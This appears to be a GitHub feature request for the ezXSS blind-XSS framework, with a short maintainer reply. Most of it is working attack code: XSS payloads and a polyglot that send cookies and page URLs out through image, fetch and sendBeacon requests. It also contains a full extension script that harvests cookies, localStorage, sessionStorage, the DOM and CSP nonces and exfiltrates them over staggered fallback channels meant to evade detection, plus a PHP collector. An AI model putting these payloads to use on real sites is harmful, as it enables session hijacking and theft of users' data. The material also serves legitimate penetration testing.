A Feature Request or Two
Universal Sink Endpoints with customizable URL(?):
/beacon/img # 1x1 transparent PNG (img-src bypass)
/beacon/font # Empty WOFF2/TTF font (font-src bypass)
/beacon/css # Empty CSS stylesheet (style-src bypass)
/beacon/manifest # Empty PWA manifest (manifest-src bypass)
/beacon/script # Empty JS file (script-src bypass)
/beacon/connect # Standard fetch/XHR endpoint (connect-src)
/beacon/form # Form action target (form-action)
/beacon/media # Empty MP4/audio file (media-src)
/beacon/object # Empty plugin data (object-src)
/beacon/worker # Empty worker script (worker-src)
/beacon/frame # Minimal HTML frame (frame-src)
/beacon/jsonp # JSONP callback endpoint for CSP bypass detection
/beacon/websocket # WebSocket upgrade endpoint
/beacon/eventsource # Server-sent events endpoint
/beacon/prefetch # DNS prefetch detection
/beacon/preload # Resource preload detection
/beacon/ping # <a ping> attribute target
/beacon/beacon # navigator.sendBeacon target
/beacon/report # CSP violation report collector
Capture and analyze all Sec-Fetch-* headers to understand exactly which CSP directive permitted the request:
{
"fetch_metadata": {
"sec_fetch_site": "cross-site|same-origin|same-site|none",
"sec_fetch_mode": "cors|navigate|no-cors|same-origin|websocket",
"sec_fetch_dest": "document|script|style|image|font|media|manifest|...",
"sec_fetch_user": "?1|null"
}
}
Automatic CSP directive inference based on successful requests:
{
"inferred_csp": {
"allowed_directives": {
"img_src": true,
"connect_src": false,
"script_src": "nonce_detected",
"style_src": true,
"font_src": true,
"manifest_src": true
},
"bypass_vectors": [
"img-src allows arbitrary domains",
"font-src permits data: URIs",
"manifest-src unrestricted"
],
"strict_dynamic": false,
"trusted_types": false
}
}
Expand beyond traditional cookie collection to capture 2025-relevant data:
{
"context_data": {
"csp_nonce": "extracted_nonce_if_available",
"trusted_types_policy": "detected|enforced|none",
"referrer_policy": "strict-origin-when-cross-origin",
"same_site_context": "Lax|Strict|None",
"http_only_cookies": "blocked_access_count",
"framework_detection": {
"react": "18.2.0",
"vue": null,
"angular": null
}
}
}
Generate payloads based on detected CSP configuration rather than blind spraying:
// CSP-aware payload router
function generatePayload(cspConfig, targetEndpoint) {
if (cspConfig.strict_dynamic && cspConfig.nonce) {
return generateNonceBypass(cspConfig.nonce);
} else if (cspConfig.trusted_types) {
return generateTrustedTypesPayload();
} else if (!cspConfig.connect_src) {
return generateResourceBeacon(targetEndpoint + '/beacon/img');
}
return generateStandardPayload(targetEndpoint + '/beacon/connect');
}
Modern Event Handler Exploitation
// beforematch event for hidden-until-found exploitation
const beforeMatchPayload = `
<div hidden="until-found" onbeforematch="
new Image().src='${endpoint}/beacon/img?trigger=beforematch&data=' +
btoa(JSON.stringify({url:location.href,time:Date.now()}))
">Hidden content</div>
`;
// Popover API exploitation
const popoverPayload = `
<div popover onbeforetoggle="
navigator.sendBeacon('${endpoint}/beacon/connect',
JSON.stringify({trigger:'popover',context:document.title}))
">Target</div>
`;
Deploy payloads that attempt multiple exfiltration channels simultaneously:
<!-- Multi-vector payload for comprehensive CSP probing -->
<script>
// Primary: connect-src test
fetch('/beacon/connect?test=primary').catch(()=>{});
// Fallback 1: img-src beacon
new Image().src='/beacon/img?test=fallback1';
// Fallback 2: font-src data URI
document.head.appendChild(Object.assign(document.createElement('link'),{
rel:'preload',as:'font',href:'/beacon/font?test=fallback2'
}));
// Fallback 3: style-src import
document.head.appendChild(Object.assign(document.createElement('style'),{
textContent:'@import "/beacon/css?test=fallback3";'
}));
</script>
Enhanced multi-context payloads:
const universalPolyglot = `
'"><svg onload="
// Multi-destination beacon
['/beacon/img','/beacon/font','/beacon/css'].forEach(e=>
new Image().src=e+'?ctx=svg&d='+btoa(location.href)
)
" style="display:none">
<!--</script><script>
// Script context backup
fetch('/beacon/connect?ctx=script').catch(()=>
document.body.appendChild(Object.assign(document.createElement('img'),
{src:'/beacon/img?ctx=script&d='+btoa(document.cookie)}
))
);
//-->
`;
CSP Directive Analysis with Real-time visualization of which security policies are blocking vs. allowing requests:
Policy Coverage Report:
├─ connect-src: BLOCKED (0/15 attempts successful)
├─ img-src: ALLOWED (15/15 attempts successful)
├─ font-src: PARTIAL (8/15 attempts successful)
├─ style-src: ALLOWED (12/15 attempts successful)
└─ script-src: NONCE_REQUIRED (0/15 inline attempts)
Recommended Payload Strategy:
→ Use img-src beacons for primary exfiltration
→ Font-src shows potential for data: URI exploitation
→ Investigate nonce extraction for script-src bypass
Automated Bypass Suggestion Engine Based on successful request patterns, suggest optimal attack vectors:
{
"bypass_recommendations": {
"primary_vector": "img-src unrestricted",
"payload_type": "resource_beacon",
"confidence": 95,
"advanced_techniques": [
"Cache-based nonce extraction possible",
"JSONP endpoint detected on same-origin",
"File upload functionality may allow JS hosting"
]
}
}
Enhanced Notification System
{
"notification_template": {
"title": "Blind XSS Triggered - CSP Bypass Detected",
"details": {
"bypass_method": "img-src unrestricted",
"csp_confidence": "high",
"fetch_metadata": "cross-site navigate",
"recommended_exploitation": "Resource beacon chain"
}
}
}
It's possible some of these enhancements could be put into an extension. For example.
csp-aware-universal-sink.js
// <ezXSS extension>
// @name CSP-Aware Universal Sink
// @description Multi-destination payload with CSP bypass detection and fetch metadata intelligence
// @author geeknik
// @version 1.0
// </ezXSS extension>
// Universal Sink Configuration
const SINK_CONFIG = {
endpoints: {
img: '/beacon/img',
font: '/beacon/font',
css: '/beacon/css',
manifest: '/beacon/manifest',
script: '/beacon/script',
connect: '/beacon/connect',
form: '/beacon/form',
media: '/beacon/media',
worker: '/beacon/worker',
frame: '/beacon/frame',
jsonp: '/beacon/jsonp',
websocket: '/beacon/websocket',
ping: '/beacon/ping',
beacon: '/beacon/beacon'
},
// Modern security detection
security: {
detectCSP: true,
detectTrustedTypes: true,
detectFetchMetadata: true,
extractNonces: true,
analyzeReferrerPolicy: true
}
};
// CSP and Security Policy Detection
function ez_detectSecurityContext() {
const context = {
csp: {
detected: false,
directives: {},
nonces: [],
strict_dynamic: false,
unsafe_inline: false,
unsafe_eval: false
},
trusted_types: {
enabled: false,
policies: [],
enforcement: 'none'
},
referrer_policy: 'unknown',
same_site_context: 'unknown',
framework: {
react: false,
vue: false,
angular: false,
detected_version: null
}
};
// CSP Detection via meta tags
const cspMeta = document.querySelector('meta[http-equiv="Content-Security-Policy"]');
if (cspMeta) {
context.csp.detected = true;
const policy = cspMeta.getAttribute('content');
// Parse common directives
if (policy.includes('script-src')) {
context.csp.directives['script-src'] = true;
context.csp.strict_dynamic = policy.includes("'strict-dynamic'");
context.csp.unsafe_inline = policy.includes("'unsafe-inline'");
context.csp.unsafe_eval = policy.includes("'unsafe-eval'");
// Extract nonces
const nonceMatch = policy.match(/'nonce-([^']+)'/g);
if (nonceMatch) {
context.csp.nonces = nonceMatch.map(n => n.replace(/'nonce-/, '').replace(/'/, ''));
}
}
['img-src', 'connect-src', 'font-src', 'style-src', 'manifest-src'].forEach(directive => {
if (policy.includes(directive)) {
context.csp.directives[directive] = true;
}
});
}
// Trusted Types Detection
if (window.trustedTypes) {
context.trusted_types.enabled = true;
context.trusted_types.policies = Array.from(window.trustedTypes.getPolicyNames || []);
// Check if TT is enforced
try {
const testDiv = document.createElement('div');
testDiv.innerHTML = '<script></script>';
context.trusted_types.enforcement = 'report-only';
} catch (e) {
if (e.name === 'TypeError') {
context.trusted_types.enforcement = 'enforce';
}
}
}
// Framework Detection
if (window.React) {
context.framework.react = true;
context.framework.detected_version = window.React.version || 'unknown';
}
if (window.Vue) {
context.framework.vue = true;
context.framework.detected_version = window.Vue.version || 'unknown';
}
if (window.ng) {
context.framework.angular = true;
}
return context;
}
// Multi-Destination Beacon System
function ez_universalSink(data, securityContext) {
const baseURL = ez_rD.payload.replace(/\/[^\/]*$/, '');
const beaconData = {
...data,
security_context: securityContext,
timestamp: Date.now(),
user_agent: navigator.userAgent,
viewport: `${window.innerWidth}x${window.innerHeight}`,
screen: `${screen.width}x${screen.height}`,
timezone: Intl.DateTimeFormat().resolvedOptions().timeZone,
language: navigator.language,
platform: navigator.platform,
cookie_enabled: navigator.cookieEnabled,
do_not_track: navigator.doNotTrack,
connection: navigator.connection ? {
effective_type: navigator.connection.effectiveType,
downlink: navigator.connection.downlink,
rtt: navigator.connection.rtt
} : null
};
const encodedData = encodeURIComponent(btoa(JSON.stringify(beaconData)));
// Attempt multiple exfiltration channels based on CSP analysis
const attempts = [];
// Primary: connect-src (fetch/XHR)
if (!securityContext.csp.directives['connect-src'] ||
securityContext.csp.directives['connect-src'] === '*') {
attempts.push(() => {
fetch(`${baseURL}${SINK_CONFIG.endpoints.connect}?d=${encodedData}&m=fetch`)
.catch(() => {
// Fallback to XHR
const xhr = new XMLHttpRequest();
xhr.open('POST', `${baseURL}${SINK_CONFIG.endpoints.connect}`, true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send(`d=${encodedData}&m=xhr`);
});
});
// sendBeacon attempt
if (navigator.sendBeacon) {
attempts.push(() => {
navigator.sendBeacon(`${baseURL}${SINK_CONFIG.endpoints.beacon}`,
`d=${encodedData}&m=beacon`);
});
}
}
// Fallback 1: img-src (most permissive)
attempts.push(() => {
const img = new Image();
img.onerror = img.onload = () => img = null;
img.src = `${baseURL}${SINK_CONFIG.endpoints.img}?d=${encodedData}&m=img`;
});
// Fallback 2: font-src
attempts.push(() => {
const link = document.createElement('link');
link.rel = 'preload';
link.as = 'font';
link.href = `${baseURL}${SINK_CONFIG.endpoints.font}?d=${encodedData}&m=font`;
document.head.appendChild(link);
setTimeout(() => document.head.removeChild(link), 1000);
});
// Fallback 3: style-src
attempts.push(() => {
const style = document.createElement('style');
style.textContent = `@import url("${baseURL}${SINK_CONFIG.endpoints.css}?d=${encodedData}&m=css");`;
document.head.appendChild(style);
setTimeout(() => document.head.removeChild(style), 1000);
});
// Fallback 4: manifest-src
attempts.push(() => {
const link = document.createElement('link');
link.rel = 'manifest';
link.href = `${baseURL}${SINK_CONFIG.endpoints.manifest}?d=${encodedData}&m=manifest`;
document.head.appendChild(link);
setTimeout(() => document.head.removeChild(link), 1000);
});
// Execute attempts with staggered timing to avoid detection
attempts.forEach((attempt, index) => {
setTimeout(attempt, index * 50);
});
}
// Modern Event Handler Exploitation
function ez_modernEventHandlers(securityContext) {
const events = [];
// beforematch event for hidden-until-found content
if ('onbeforematch' in document.createElement('div')) {
const hiddenDiv = document.createElement('div');
hiddenDiv.hidden = 'until-found';
hiddenDiv.onbeforematch = () => {
ez_a('trigger_type', 'beforematch');
ez_a('trigger_context', 'hidden-until-found');
};
hiddenDiv.textContent = 'Hidden XSS trigger content';
document.body.appendChild(hiddenDiv);
events.push('beforematch');
}
// Popover API exploitation
if ('popover' in document.createElement('div')) {
const popoverDiv = document.createElement('div');
popoverDiv.popover = 'auto';
popoverDiv.onbeforetoggle = popoverDiv.ontoggle = () => {
ez_a('trigger_type', 'popover');
ez_a('trigger_context', 'popover-api');
};
document.body.appendChild(popoverDiv);
events.push('popover');
}
// IntersectionObserver for lazy-loaded content
if (window.IntersectionObserver) {
const observer = new IntersectionObserver((entries) => {
entries.forEach(entry => {
if (entry.isIntersecting) {
ez_a('trigger_type', 'intersection');
ez_a('trigger_context', 'viewport-intersection');
}
});
});
const target = document.createElement('div');
target.style.cssText = 'position:absolute;top:0;left:0;width:1px;height:1px;opacity:0;';
document.body.appendChild(target);
observer.observe(target);
events.push('intersection-observer');
}
return events;
}
// CSP Nonce Extraction Attempt
function ez_extractNonces() {
const nonces = [];
// Extract from script tags
document.querySelectorAll('script[nonce]').forEach(script => {
const nonce = script.getAttribute('nonce');
if (nonce && nonce.length > 0) {
nonces.push({type: 'script', nonce: nonce});
}
});
// Extract from style tags
document.querySelectorAll('style[nonce]').forEach(style => {
const nonce = style.getAttribute('nonce');
if (nonce && nonce.length > 0) {
nonces.push({type: 'style', nonce: nonce});
}
});
return nonces;
}
// Advanced Context Analysis
function ez_analyzeContext() {
const analysis = {
dom_properties: {
total_scripts: document.scripts.length,
total_styles: document.styleSheets.length,
total_images: document.images.length,
total_forms: document.forms.length,
total_links: document.links.length
},
security_headers: {},
cookies_analysis: {
total_cookies: document.cookie.split(';').length,
httponly_blocked: document.cookie === '',
samesite_detected: false
},
modern_apis: {
fetch_available: typeof fetch !== 'undefined',
websocket_available: typeof WebSocket !== 'undefined',
indexeddb_available: 'indexedDB' in window,
service_worker_available: 'serviceWorker' in navigator,
push_api_available: 'PushManager' in window,
notification_api_available: 'Notification' in window,
geolocation_available: 'geolocation' in navigator,
camera_available: 'mediaDevices' in navigator
}
};
// Analyze cookies for SameSite attributes (indirect detection)
if (document.cookie) {
// This is a heuristic - we can't directly read SameSite from JS
analysis.cookies_analysis.samesite_detected = document.cookie.includes('SameSite');
}
return analysis;
}
// Override the main data collection function
function ez_hL() {
try {
// Detect security context first
const securityContext = ez_detectSecurityContext();
// Extract nonces if available
const extractedNonces = ez_extractNonces();
// Set up modern event handlers
const modernEvents = ez_modernEventHandlers(securityContext);
// Perform context analysis
const contextAnalysis = ez_analyzeContext();
// Add all security intelligence to the report
ez_a('security_context', securityContext);
ez_a('extracted_nonces', extractedNonces);
ez_a('modern_events', modernEvents);
ez_a('context_analysis', contextAnalysis);
ez_a('extension_version', '1.0');
ez_a('extension_name', 'CSP-Aware Universal Sink');
// Collect standard data
ez_rD.uri = ez_n(window.location.href);
ez_rD.cookies = ez_n(document.cookie);
ez_rD.referer = ez_n(document.referrer);
ez_rD['user-agent'] = ez_n(navigator.userAgent);
ez_rD.origin = ez_n(window.location.origin);
ez_rD.localstorage = ez_n(JSON.stringify(localStorage));
ez_rD.sessionstorage = ez_n(JSON.stringify(sessionStorage));
ez_rD.dom = ez_n(document.documentElement.outerHTML);
ez_rD.payload = ez_n(window.location.href);
// Call other necessary functions
ez_s();
ez_nW();
// Use universal sink instead of standard callback
ez_universalSink(ez_rD, securityContext);
// Still call standard functions for compatibility
ez_cb(ez_rD, ez_dr2);
ez_cp();
ez_p();
} catch (e) {
// Fallback to standard behavior on error
ez_rD.dom = "Extension error: " + e.message;
ez_cb(ez_rD, ez_dr2);
ez_cp();
ez_p();
}
}
// Additional utility function for CSP testing
function ez_testCSPBypass() {
const tests = [];
// Test inline script execution
try {
eval('1+1');
tests.push({test: 'eval', result: 'allowed'});
} catch (e) {
tests.push({test: 'eval', result: 'blocked', error: e.message});
}
// Test inline style
try {
const div = document.createElement('div');
div.style.cssText = 'color: red;';
tests.push({test: 'inline-style', result: 'allowed'});
} catch (e) {
tests.push({test: 'inline-style', result: 'blocked', error: e.message});
}
// Test data: URI
try {
const img = new Image();
img.src = 'data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7';
tests.push({test: 'data-uri', result: 'allowed'});
} catch (e) {
tests.push({test: 'data-uri', result: 'blocked', error: e.message});
}
ez_a('csp_bypass_tests', tests);
}
// Run CSP bypass tests
setTimeout(ez_testCSPBypass, 100);
// Override persistence initialization to include security context
if (typeof ez_persist === 'function') {
const originalPersist = ez_persist;
ez_persist = function() {
const securityContext = ez_detectSecurityContext();
ez_a('persistence_security_context', securityContext);
return originalPersist.apply(this, arguments);
};
}
beacon-handler.php -- Incomplete, needs DB handler code added.
<?php
// Universal Sink Beacon Handler for ezXSS
// Add this to your ezXSS installation
class BeaconHandler {
private $allowedTypes = [
'img', 'font', 'css', 'manifest', 'script',
'connect', 'form', 'media', 'worker', 'frame',
'jsonp', 'websocket', 'ping', 'beacon'
];
public function handleBeacon($type) {
if (!in_array($type, $this->allowedTypes)) {
http_response_code(404);
return;
}
// Log fetch metadata headers
$fetchMetadata = [
'sec_fetch_site' => $_SERVER['HTTP_SEC_FETCH_SITE'] ?? null,
'sec_fetch_mode' => $_SERVER['HTTP_SEC_FETCH_MODE'] ?? null,
'sec_fetch_dest' => $_SERVER['HTTP_SEC_FETCH_DEST'] ?? null,
'sec_fetch_user' => $_SERVER['HTTP_SEC_FETCH_USER'] ?? null,
];
// Extract payload data
$data = $_GET['d'] ?? $_POST['d'] ?? null;
$method = $_GET['m'] ?? $_POST['m'] ?? $type;
if ($data) {
$decodedData = json_decode(base64_decode(urldecode($data)), true);
if ($decodedData) {
// Add fetch metadata to the payload data
$decodedData['fetch_metadata'] = $fetchMetadata;
$decodedData['beacon_type'] = $type;
$decodedData['request_method'] = $_SERVER['REQUEST_METHOD'];
$decodedData['request_time'] = time();
// Store in ezXSS database (adapt to your DB structure)
$this->storePayloadData($decodedData);
}
}
// Return appropriate response based on type
$this->sendResponse($type);
}
private function sendResponse($type) {
switch ($type) {
case 'img':
header('Content-Type: image/png');
// 1x1 transparent PNG
echo base64_decode('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNkYPhfDwAChwGA60e6kgAAAABJRU5ErkJggg==');
break;
case 'font':
header('Content-Type: font/woff2');
header('Access-Control-Allow-Origin: *');
// Empty WOFF2 font
echo '';
break;
case 'css':
header('Content-Type: text/css');
echo '/* Empty CSS */';
break;
case 'manifest':
header('Content-Type: application/manifest+json');
echo '{"name":"","short_name":"","icons":[]}';
break;
case 'script':
header('Content-Type: application/javascript');
echo '// Empty script';
break;
case 'connect':
case 'beacon':
case 'ping':
header('Content-Type: application/json');
echo '{"status":"ok"}';
break;
default:
header('Content-Type: text/plain');
echo 'OK';
}
}
private function storePayloadData($data) {
// Integrate with ezXSS database storage
// This would typically insert into the reports table
// with additional fields for security context analysis
}
}
// Route handler (add to your ezXSS routing)
if (preg_match('/\/beacon\/([a-z]+)/', $_SERVER['REQUEST_URI'], $matches)) {
$handler = new BeaconHandler();
$handler->handleBeacon($matches[1]);
exit;
}
?>
Hey @geeknik!
Thanks for this great suggestion. I just returned from vacation so I still need some time to look more into it, but it looks like a great addition.
I've been thinking about ezXSS and CSP headers what to do with it but haven't fully figured it out yet. I think this is a great start. Will keep you updated.